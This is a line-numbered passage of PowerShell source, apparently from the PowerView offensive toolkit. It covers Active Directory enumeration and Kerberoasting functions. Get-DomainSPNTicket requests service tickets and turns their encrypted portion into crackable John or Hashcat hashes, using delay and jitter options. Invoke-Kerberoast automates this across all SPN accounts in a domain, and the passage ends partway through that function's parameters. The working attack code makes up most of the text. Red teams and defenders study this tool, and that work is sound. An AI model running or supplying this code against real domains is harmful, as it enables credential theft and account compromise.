LDAP properties : $_" 364 | } 365 | } 366 | 367 | 368 | function Get-Domain { 369 | <# 370 | .SYNOPSIS 371 | Returns the domain object for the current (or specified) domain. 372 | Author: Will Schroeder (@harmj0y) 373 | License: BSD 3-Clause 374 | Required Dependencies: None 375 | .DESCRIPTION 376 | Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current 377 | domain or the domain specified with -Domain X. 378 | .PARAMETER Domain 379 | Specifies the domain name to query for, defaults to the current domain. 380 | .PARAMETER Credential 381 | A [Management.Automation.PSCredential] object of alternate credentials 382 | for connection to the target domain. 383 | .EXAMPLE 384 | Get-Domain -Domain testlab.local 385 | .EXAMPLE 386 | $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 387 | $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 388 | Get-Domain -Credential $Cred 389 | .OUTPUTS 390 | System.DirectoryServices.ActiveDirectory.Domain 391 | A complex .NET domain object. 392 | .LINK 393 | http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG 394 | #> 395 | 396 | [OutputType([System.DirectoryServices.ActiveDirectory.Domain])] 397 | [CmdletBinding()] 398 | Param( 399 | [Parameter(Position = 0, ValueFromPipeline = $True)] 400 | [ValidateNotNullOrEmpty()] 401 | [String] 402 | $Domain, 403 | 404 | [Management.Automation.PSCredential] 405 | [Management.Automation.CredentialAttribute()] 406 | $Credential = [Management.Automation.PSCredential]::Empty 407 | ) 408 | 409 | PROCESS { 410 | if ($PSBoundParameters['Credential']) { 411 | 412 | Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain' 413 | 414 | if ($PSBoundParameters['Domain']) { 415 | $TargetDomain = $Domain 416 | } 417 | else { 418 | # if no domain is supplied, extract the logon domain from the PSCredential passed 419 | $TargetDomain = $Credential.GetNetworkCredential().Domain 420 | Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential" 421 | } 422 | 423 | $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password) 424 | 425 | try { 426 | [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) 427 | } 428 | catch { 429 | Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" 430 | } 431 | } 432 | elseif ($PSBoundParameters['Domain']) { 433 | $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) 434 | try { 435 | [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) 436 | } 437 | catch { 438 | Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_" 439 | } 440 | } 441 | else { 442 | try { 443 | [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() 444 | } 445 | catch { 446 | Write-Verbose "[Get-Domain] Error retrieving the current domain: $_" 447 | } 448 | } 449 | } 450 | } 451 | 452 | 453 | 454 | function Get-DomainSPNTicket { 455 | <# 456 | .SYNOPSIS 457 | 458 | Request the kerberos ticket for a specified service principal name (SPN). 459 | 460 | Author: machosec, Will Schroeder (@harmj0y) 461 | License: BSD 3-Clause 462 | Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf 463 | 464 | .DESCRIPTION 465 | 466 | This function will either take one/more SPN strings, or one/more PowerView.User objects 467 | (the output from Get-DomainUser) and will request a kerberos ticket for the given SPN 468 | using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted 469 | portion of the ticket is then extracted and output in either crackable John or Hashcat 470 | format (deafult of John). 471 | 472 | .PARAMETER SPN 473 | 474 | Specifies the service principal name to request the ticket for. 475 | 476 | .PARAMETER User 477 | 478 | Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for. 479 | 480 | .PARAMETER OutputFormat 481 | 482 | Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. 483 | Defaults to 'John'. 484 | 485 | .PARAMETER Credential 486 | 487 | A [Management.Automation.PSCredential] object of alternate credentials 488 | for connection to the remote domain using Invoke-UserImpersonation. 489 | 490 | .PARAMETER Delay 491 | 492 | Specifies the delay in seconds between ticket requests. 493 | 494 | .PARAMETER Jitter 495 | 496 | Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 497 | 498 | .EXAMPLE 499 | 500 | Get-DomainSPNTicket -SPN "HTTP/web.testlab.local" 501 | 502 | Request a kerberos service ticket for the specified SPN. 503 | 504 | .EXAMPLE 505 | 506 | "HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket 507 | 508 | Request kerberos service tickets for all SPNs passed on the pipeline. 509 | 510 | .EXAMPLE 511 | 512 | Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat 513 | 514 | Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format. 515 | 516 | .INPUTS 517 | 518 | String 519 | 520 | Accepts one or more SPN strings on the pipeline with the RawSPN parameter set. 521 | 522 | .INPUTS 523 | 524 | PowerView.User 525 | 526 | Accepts one or more PowerView.User objects on the pipeline with the User parameter set. 527 | 528 | .OUTPUTS 529 | 530 | PowerView.SPNTicket 531 | 532 | Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. 533 | #> 534 | 535 | [OutputType('PowerView.SPNTicket')] 536 | [CmdletBinding(DefaultParameterSetName = 'RawSPN')] 537 | Param ( 538 | [Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)] 539 | [ValidatePattern('.*/.*')] 540 | [Alias('ServicePrincipalName')] 541 | [String[]] 542 | $SPN, 543 | 544 | [Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)] 545 | [ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })] 546 | [Object[]] 547 | $User, 548 | 549 | [ValidateSet('John', 'Hashcat')] 550 | [Alias('Format')] 551 | [String] 552 | $OutputFormat = 'John', 553 | 554 | [ValidateRange(0,10000)] 555 | [Int] 556 | $Delay = 0, 557 | 558 | [ValidateRange(0.0, 1.0)] 559 | [Double] 560 | $Jitter = .3, 561 | 562 | [Management.Automation.PSCredential] 563 | [Management.Automation.CredentialAttribute()] 564 | $Credential = [Management.Automation.PSCredential]::Empty 565 | ) 566 | 567 | BEGIN { 568 | $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') 569 | 570 | if ($PSBoundParameters['Credential']) { 571 | $LogonToken = Invoke-UserImpersonation -Credential $Credential 572 | } 573 | } 574 | 575 | PROCESS { 576 | if ($PSBoundParameters['User']) { 577 | $TargetObject = $User 578 | } 579 | else { 580 | $TargetObject = $SPN 581 | } 582 | 583 | $RandNo = New-Object System.Random 584 | 585 | ForEach ($Object in $TargetObject) { 586 | 587 | if ($PSBoundParameters['User']) { 588 | $UserSPN = $Object.ServicePrincipalName 589 | $SamAccountName = $Object.SamAccountName 590 | $DistinguishedName = $Object.DistinguishedName 591 | } 592 | else { 593 | $UserSPN = $Object 594 | $SamAccountName = 'UNKNOWN' 595 | $DistinguishedName = 'UNKNOWN' 596 | } 597 | 598 | # if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3 599 | if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) { 600 | $UserSPN = $UserSPN[0] 601 | } 602 | 603 | try { 604 | $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN 605 | } 606 | catch { 607 | Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_" 608 | } 609 | if ($Ticket) { 610 | $TicketByteStream = $Ticket.GetRequest() 611 | } 612 | if ($TicketByteStream) { 613 | $Out = New-Object PSObject 614 | 615 | $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-' 616 | 617 | # TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1) 618 | # No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object 619 | if($TicketHexStream -match 'a382....3082....A0030201(?..)A1.{1,4}.......A282(?....)........(?.+)') { 620 | $Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 ) 621 | $CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4 622 | $CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2) 623 | 624 | # Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object 625 | if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') { 626 | Write-Warning 'Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"' 627 | $Hash = $null 628 | $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) 629 | } else { 630 | $Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))" 631 | $Out | Add-Member Noteproperty 'TicketByteHexStream' $null 632 | } 633 | } else { 634 | Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq" 635 | $Hash = $null 636 | $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) 637 | } 638 | 639 | if($Hash) { 640 | if ($OutputFormat -match 'John') { 641 | $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash" 642 | } 643 | else { 644 | if ($DistinguishedName -ne 'UNKNOWN') { 645 | $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' 646 | } 647 | else { 648 | $UserDomain = 'UNKNOWN' 649 | } 650 | 651 | # hashcat output format 652 | $HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash" 653 | } 654 | $Out | Add-Member Noteproperty 'Hash' $HashFormat 655 | } 656 | 657 | $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName 658 | $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName 659 | $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName 660 | $Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket') 661 | Write-Output $Out 662 | } 663 | # sleep for our semi-randomized interval 664 | Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) 665 | } 666 | } 667 | 668 | END { 669 | if ($LogonToken) { 670 | Invoke-RevertToSelf -TokenHandle $LogonToken 671 | } 672 | } 673 | } 674 | 675 | function Get-DomainUser { 676 | <# 677 | .SYNOPSIS 678 | Return all users or specific user objects in AD. 679 | Author: Will Schroeder (@harmj0y) 680 | License: BSD 3-Clause 681 | Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty 682 | .DESCRIPTION 683 | Builds a directory searcher object using Get-DomainSearcher, builds a custom 684 | LDAP filter based on targeting/filter parameters, and searches for all objects 685 | matching the criteria. To only return specific properties, use 686 | "-Properties samaccountname,usnchanged,...". By default, all user objects for 687 | the current domain are returned. 688 | .PARAMETER Identity 689 | A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), 690 | SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). 691 | Wildcards accepted. Also accepts DOMAIN\user format. 692 | .PARAMETER SPN 693 | Switch. Only return user objects with non-null service principal names. 694 | .PARAMETER UACFilter 695 | Dynamic parameter that accepts one or more values from $UACEnum, including 696 | "NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'. 697 | .PARAMETER AdminCount 698 | Switch. Return users with '(adminCount=1)' (meaning are/were privileged). 699 | .PARAMETER AllowDelegation 700 | Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' 701 | .PARAMETER DisallowDelegation 702 | Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation' 703 | .PARAMETER TrustedToAuth 704 | Switch. Return computer objects that are trusted to authenticate for other principals. 705 | .PARAMETER PreauthNotRequired 706 | Switch. Return user accounts with "Do not require Kerberos preauthentication" set. 707 | .PARAMETER Domain 708 | Specifies the domain to use for the query, defaults to the current domain. 709 | .PARAMETER LDAPFilter 710 | Specifies an LDAP query string that is used to filter Active Directory objects. 711 | .PARAMETER Properties 712 | Specifies the properties of the output object to retrieve from the server. 713 | .PARAMETER SearchBase 714 | The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 715 | Useful for OU queries. 716 | .PARAMETER Server 717 | Specifies an Active Directory server (domain controller) to bind to. 718 | .PARAMETER SearchScope 719 | Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 720 | .PARAMETER ResultPageSize 721 | Specifies the PageSize to set for the LDAP searcher object. 722 | .PARAMETER ServerTimeLimit 723 | Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 724 | .PARAMETER SecurityMasks 725 | Specifies an option for examining security information of a directory object. 726 | One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. 727 | .PARAMETER Tombstone 728 | Switch. Specifies that the searcher should also return deleted/tombstoned objects. 729 | .PARAMETER FindOne 730 | Only return one result object. 731 | .PARAMETER Credential 732 | A [Management.Automation.PSCredential] object of alternate credentials 733 | for connection to the target domain. 734 | .PARAMETER Raw 735 | Switch. Return raw results instead of translating the fields into a custom PSObject. 736 | .EXAMPLE 737 | Get-DomainUser -Domain testlab.local 738 | Return all users for the testlab.local domain 739 | .EXAMPLE 740 | Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator" 741 | Return the user with the given SID, as well as Administrator. 742 | .EXAMPLE 743 | 'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff 744 | lastlogoff samaccountname 745 | ---------- -------------- 746 | 12/31/1600 4:00:00 PM dfm.a 747 | 12/31/1600 4:00:00 PM dfm 748 | 12/31/1600 4:00:00 PM harmj0y 749 | 12/31/1600 4:00:00 PM Administrator 750 | .EXAMPLE 751 | Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -AdminCount -AllowDelegation 752 | Search the specified OU for privileged user (AdminCount = 1) that allow delegation 753 | .EXAMPLE 754 | Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon 755 | Search for users with a primary group ID other than 513 ('domain users') and only return samaccountname and lastlogon 756 | .EXAMPLE 757 | Get-DomainUser -UACFilter DONT_REQ_PREAUTH,NOT_PASSWORD_EXPIRED 758 | Find users who doesn't require Kerberos preauthentication and DON'T have an expired password. 759 | .EXAMPLE 760 | $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 761 | $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 762 | Get-DomainUser -Credential $Cred 763 | .EXAMPLE 764 | Get-Domain | Select-Object -Expand name 765 | testlab.local 766 | Get-DomainUser dev\user1 -Verbose -Properties distinguishedname 767 | VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local 768 | VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local 769 | VERBOSE: [Get-DomainUser] filter string: (&(samAccountType=805306368)(|(samAccountName=user1))) 770 | distinguishedname 771 | ----------------- 772 | CN=user1,CN=Users,DC=dev,DC=testlab,DC=local 773 | .INPUTS 774 | String 775 | .OUTPUTS 776 | PowerView.User 777 | Custom PSObject with translated user property fields. 778 | PowerView.User.Raw 779 | The raw DirectoryServices.SearchResult object, if -Raw is enabled. 780 | #> 781 | 782 | [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] 783 | [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 784 | [OutputType('PowerView.User')] 785 | [OutputType('PowerView.User.Raw')] 786 | [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] 787 | Param( 788 | [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 789 | [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] 790 | [String[]] 791 | $Identity, 792 | 793 | [Switch] 794 | $SPN, 795 | 796 | [Switch] 797 | $AdminCount, 798 | 799 | [Parameter(ParameterSetName = 'AllowDelegation')] 800 | [Switch] 801 | $AllowDelegation, 802 | 803 | [Parameter(ParameterSetName = 'DisallowDelegation')] 804 | [Switch] 805 | $DisallowDelegation, 806 | 807 | [Switch] 808 | $TrustedToAuth, 809 | 810 | [Alias('KerberosPreauthNotRequired', 'NoPreauth')] 811 | [Switch] 812 | $PreauthNotRequired, 813 | 814 | [ValidateNotNullOrEmpty()] 815 | [String] 816 | $Domain, 817 | 818 | [ValidateNotNullOrEmpty()] 819 | [Alias('Filter')] 820 | [String] 821 | $LDAPFilter, 822 | 823 | [ValidateNotNullOrEmpty()] 824 | [String[]] 825 | $Properties, 826 | 827 | [ValidateNotNullOrEmpty()] 828 | [Alias('ADSPath')] 829 | [String] 830 | $SearchBase, 831 | 832 | [ValidateNotNullOrEmpty()] 833 | [Alias('DomainController')] 834 | [String] 835 | $Server, 836 | 837 | [ValidateSet('Base', 'OneLevel', 'Subtree')] 838 | [String] 839 | $SearchScope = 'Subtree', 840 | 841 | [ValidateRange(1, 10000)] 842 | [Int] 843 | $ResultPageSize = 200, 844 | 845 | [ValidateRange(1, 10000)] 846 | [Int] 847 | $ServerTimeLimit, 848 | 849 | [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] 850 | [String] 851 | $SecurityMasks, 852 | 853 | [Switch] 854 | $Tombstone, 855 | 856 | [Alias('ReturnOne')] 857 | [Switch] 858 | $FindOne, 859 | 860 | [Management.Automation.PSCredential] 861 | [Management.Automation.CredentialAttribute()] 862 | $Credential = [Management.Automation.PSCredential]::Empty, 863 | 864 | [Switch] 865 | $Raw 866 | ) 867 | 868 | DynamicParam { 869 | $UACValueNames = [Enum]::GetNames($UACEnum) 870 | # add in the negations 871 | $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} 872 | # create new dynamic parameter 873 | New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) 874 | } 875 | 876 | BEGIN { 877 | $SearcherArguments = @{} 878 | if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } 879 | if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } 880 | if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } 881 | if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } 882 | if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } 883 | if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } 884 | if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 885 | if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } 886 | if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } 887 | if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } 888 | $UserSearcher = Get-DomainSearcher @SearcherArguments 889 | } 890 | 891 | PROCESS { 892 | #bind dynamic parameter to a friendly variable 893 | if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { 894 | New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters 895 | } 896 | 897 | if ($UserSearcher) { 898 | $IdentityFilter = '' 899 | $Filter = '' 900 | $Identity | Where-Object {$_} | ForEach-Object { 901 | $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') 902 | if ($IdentityInstance -match '^S-1-') { 903 | $IdentityFilter += "(objectsid=$IdentityInstance)" 904 | } 905 | elseif ($IdentityInstance -match '^CN=') { 906 | $IdentityFilter += "(distinguishedname=$IdentityInstance)" 907 | if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { 908 | # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname 909 | # and rebuild the domain searcher 910 | $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' 911 | Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'" 912 | $SearcherArguments['Domain'] = $IdentityDomain 913 | $UserSearcher = Get-DomainSearcher @SearcherArguments 914 | if (-not $UserSearcher) { 915 | Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'" 916 | } 917 | } 918 | } 919 | elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { 920 | $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' 921 | $IdentityFilter += "(objectguid=$GuidByteString)" 922 | } 923 | elseif ($IdentityInstance.Contains('\')) { 924 | $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical 925 | if ($ConvertedIdentityInstance) { 926 | $UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) 927 | $UserName = $IdentityInstance.Split('\')[1] 928 | $IdentityFilter += "(samAccountName=$UserName)" 929 | $SearcherArguments['Domain'] = $UserDomain 930 | Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'" 931 | $UserSearcher = Get-DomainSearcher @SearcherArguments 932 | } 933 | } 934 | else { 935 | $IdentityFilter += "(samAccountName=$IdentityInstance)" 936 | } 937 | } 938 | 939 | if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { 940 | $Filter += "(|$IdentityFilter)" 941 | } 942 | 943 | if ($PSBoundParameters['SPN']) { 944 | Write-Verbose '[Get-DomainUser] Searching for non-null service principal names' 945 | $Filter += '(servicePrincipalName=*)' 946 | } 947 | if ($PSBoundParameters['AllowDelegation']) { 948 | Write-Verbose '[Get-DomainUser] Searching for users who can be delegated' 949 | # negation of "Accounts that are sensitive and not trusted for delegation" 950 | $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))' 951 | } 952 | if ($PSBoundParameters['DisallowDelegation']) { 953 | Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation' 954 | $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)' 955 | } 956 | if ($PSBoundParameters['AdminCount']) { 957 | Write-Verbose '[Get-DomainUser] Searching for adminCount=1' 958 | $Filter += '(admincount=1)' 959 | } 960 | if ($PSBoundParameters['TrustedToAuth']) { 961 | Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals' 962 | $Filter += '(msds-allowedtodelegateto=*)' 963 | } 964 | if ($PSBoundParameters['PreauthNotRequired']) { 965 | Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate' 966 | $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' 967 | } 968 | if ($PSBoundParameters['LDAPFilter']) { 969 | Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter" 970 | $Filter += "$LDAPFilter" 971 | } 972 | 973 | # build the LDAP filter for the dynamic UAC filter value 974 | $UACFilter | Where-Object {$_} | ForEach-Object { 975 | if ($_ -match 'NOT_.*') { 976 | $UACField = $_.Substring(4) 977 | $UACValue = [Int]($UACEnum::$UACField) 978 | $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" 979 | } 980 | else { 981 | $UACValue = [Int]($UACEnum::$_) 982 | $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" 983 | } 984 | } 985 | 986 | $UserSearcher.filter = "(&(samAccountType=805306368)$Filter)" 987 | Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)" 988 | 989 | if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() } 990 | else { $Results = $UserSearcher.FindAll() } 991 | $Results | Where-Object {$_} | ForEach-Object { 992 | if ($PSBoundParameters['Raw']) { 993 | # return raw result objects 994 | $User = $_ 995 | $User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw') 996 | } 997 | else { 998 | $User = Convert-LDAPProperty -Properties $_.Properties 999 | $User.PSObject.TypeNames.Insert(0, 'PowerView.User') 1000 | } 1001 | $User 1002 | } 1003 | if ($Results) { 1004 | try { $Results.dispose() } 1005 | catch { 1006 | Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_" 1007 | } 1008 | } 1009 | $UserSearcher.dispose() 1010 | } 1011 | } 1012 | } 1013 | 1014 | 1015 | function Invoke-Kerberoast { 1016 | <# 1017 | .SYNOPSIS 1018 | Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes. 1019 | Author: Will Schroeder (@harmj0y), @machosec 1020 | License: BSD 3-Clause 1021 | Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket 1022 | .DESCRIPTION 1023 | Uses Get-DomainUser to query for user accounts with non-null service principle 1024 | names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information. 1025 | The ticket format can be specified with -OutputFormat . 1026 | .PARAMETER Identity 1027 | A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), 1028 | SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). 1029 | Wildcards accepted. 1030 | .PARAMETER Domain 1031 | Specifies the domain to use for the query, defaults to the current domain. 1032 | .PARAMETER LDAPFilter 1033 | Specifies an LDAP query string that is used to filter Active Directory objects. 1034 | .PARAMETER SearchBase 1035 | The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 1036 | Useful for OU queries. 1037 | .PARAMETER Server 1038 | Specifies an Active Directory server (domain controller) to bind to. 1039 | .PARAMETER SearchScope 1040 | Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 1041 | .PARAMETER ResultPageSize 1042 | Specifies the PageSize to set for the LDAP searcher object. 1043 | .PARAMETER ServerTimeLimit 1044 | Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 1045 | .PARAMETER Tombstone 1046 | Switch. Specifies that the searcher should also return deleted/tombstoned objects. 1047 | .PARAMETER OutputFormat 1048 | Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. 1049 | Defaults to 'John'. 1050 | .PARAMETER Credential 1051 | A [Management.Automation.PSCredential] object of alternate credentials 1052 | for connection to the target domain. 1053 | .PARAMETER Delay 1054 | Specifies the delay in seconds between ticket requests. 1055 | .PARAMETER Jitter 1056 | Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 1057 | .EXAMPLE 1058 | Invoke-Kerberoast | fl 1059 | Kerberoasts all found SPNs for the current domain. 1060 | .EXAMPLE 1061 | Invoke-Kerberoast -Domain dev.testlab.local -OutputFormat HashCat | fl 1062 | Kerberoasts all found SPNs for the testlab.local domain, outputting to HashCat 1063 | format instead of John (the default). 1064 | .EXAMPLE 1065 | $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce 1066 | $Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword) 1067 | Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl 1068 | Kerberoasts all found SPNs for the testlab.local domain using alternate credentials. 1069 | .OUTPUTS 1070 | PowerView.SPNTicket 1071 | Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. 1072 | #> 1073 | 1074 | [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 1075 | [OutputType('PowerView.SPNTicket')] 1076 | [CmdletBinding()] 1077 | Param( 1078 | [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 1079 | [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] 1080 | [String[]] 1081 | $Identity, 1082 | 1083 | [ValidateNotNullOrEmpty()] 1084 | [String] 1085 | $Domain, 1086 | 1087 | [ValidateNotNullOrEmpty()] 1088 | [Alias('Filter')] 1089 | [String] 1090 | $LDAPFilter, 1091 | 1092 | [ValidateNotNullOrEmpty()] 1093 | [Alias('ADSPath')] 1094 | [String] 1095 | $SearchBase, 1096 | 1097 | [ValidateNotNullOrEmpty()] 1098 | [Alias('DomainController')] 1099 | [String] 1100 | $Server, 1101 | 1102 | [ValidateSet('Base', 'OneLevel', 'Subtree')] 1103 | [String] 1104 | $SearchScope = 'Subtree', 1105 | 1106 | [ValidateRange(1, 10000)] 1107 | [Int] 1108 | $ResultPageSize = 200, 1109 | 1110 | [ValidateRange(1, 10000)] 1111 | [Int] 1112 | $ServerTimeLimit, 1113 | 1114 | [Switch] 1115 | $Tombstone, 1116 | 1117 | 